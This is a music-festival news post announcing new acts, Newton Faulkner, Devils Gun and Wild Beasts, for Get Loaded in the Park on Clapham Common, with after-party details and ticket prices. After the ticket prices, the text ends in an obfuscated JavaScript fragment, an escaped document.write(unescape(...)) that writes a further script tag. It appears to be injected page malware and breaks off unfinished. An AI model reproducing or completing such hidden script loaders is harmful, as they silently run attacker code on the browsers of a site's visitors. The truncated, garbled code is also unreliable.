Newton Faulkner added to Get Loaded in the Park

This summer's Get Loaded in the Park festival is literally just round the corner now and with tickets on course to sell out for a 4th consecutive year, we thought it was about time we introduced some fresh blood to the mix!! Held on Clapham Common on Bank Holiday Sunday 26th August as part of the Metro Weekender, Get Loaded in the Park continues to push things forward with a line-up that reflects present-day, multi-cultural London at its musical best. This year's talent includes The Streets, Dirty Pretty Things, The Go! Team, Dizzee Rascal, M.I.A, Art Brut, The Automatic, 2Manydjs, DJ Yoda, Gilles Peterson, Digitalism, MSTRKRFT, Uffie, The Nextmen and Peter Bjorn & John amongst many others… with 4 stages of musical mayhem to keep you stage-hopping all day!!.

Another name to add to that list is the surf dude with the huge dreads aka Newton Faulkner!! Currently sitting pretty at No.8 in the UK Single Charts with his awesome debut track 'Dream Catch Me' and No.3 in the UK Album Charts (for the 2nd week running) with debut LP 'Hand Built by Robots', Newton is currently one of the most hotly tipped new singer/songwriters of the year – and definitely one to watch! His sound? Well it's acoustic guitar like you've never heard it before. It's things done to six strings that will boggle the ears and eyes. It's a throaty but gentle blues croon that speaks of backwoods, beaches and the badlands of, err, Surrey. It's t*u*n*e*s, the likes of which have become a word-of-myspace cult across the Cornwall surf scene and landed prestigious support slots with Jack Johnson's cult buddy Donavon Frankenreiter and Paolo Nutini. The Get Loaded gang witnessed his magic first hand at a recent gig and again at the Electric Gardens festival, and trust us, his live show really is something else! Look out for comedy interludes, mixed with cult tunes, a genius cover of Massive Attack's 'Teardrop' and Sponge Bob Square Pants… don't ask! Catch Newton in the XFM Stage late on. Web: www.myspace.com/newtonfaulkner

Joining Newton as the newest kids on the block will be electronic outfit Devils Gun and Leeds fab four Wild Beasts. We caught a glimpse of Devils Gun at our recent Electric Gardens festival and they totally blew us away – they were arguably the best act we saw all weekend! With flashes of Faithless and traces of Groove Armada, they've got huge crossover potential and have one of the coolest frontmen we've seen in a long time, backed up by a wicked motley crew of musicians including one crazy ass dude on the drums / percussion!! You'll find Devils Gun performing live in the Myspace Dance Arena alongside 2Manydjs, MSTRKRFT, Digitalism and co, so make sure you check 'em out. Web: www.myspace.com/devilsgun. Wild Beats meanwhile, will be flexing their guitars early doors in the XFM Stage. They're on the road soon supporting Jack Penate, so are definitely a band to watch out for!! Web: www.myspace.com/wildbeasts

From the Common's green grass to Clapham Grand's flashing dancefloor…. the party continues a short stagger away as we ask you to Get Loaded some more at our Official Festival After Party. All the bands are on the list, so expect to bump into some familiar faces at the bar!! You never know, you might even get lucky, tonight is YOUR night. Needless to say, we've pulled out all the stops to round off your Bank Holiday weekend with a bang. Nabbing the headline slot at the Afters will be 2ManyDJs, the main draw from the Myspace Dance Stage earlier in the day. When it comes to the mash-up DJ set, these Belgium brothers pretty much invented it and are the pioneers of this sound all over the globe. When not twisting our minds as 2ManyDJs, the boys can regularly be found rocking it out under their Soulwax, Radio Soulwax and Nite Versions monikors… but we love 'em best behind the decks, and that's exactly what you're gonna get as the official carry on! Joining them on deck duty will be hot indie band Sunshine Underground, who'll be jumping in a cab from Reading to swap their guitars for CDJs, alongside Riton – weekly resident for Space in Ibiza…. and unquestionably one of the most talented spinners in the UK right now. On top of that Dan Kahuna (formerly FC Kahuna) throws down more tripped-out electro-tech, with Devils Gun Soundsystem bringing some live noize to the building, fresh from their full live show earlier on in the day. Doors open 9pm – 6am. Tickets are Tickets priced £15 or £40 for a joint Get Loaded in the Park + After Party ticket.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22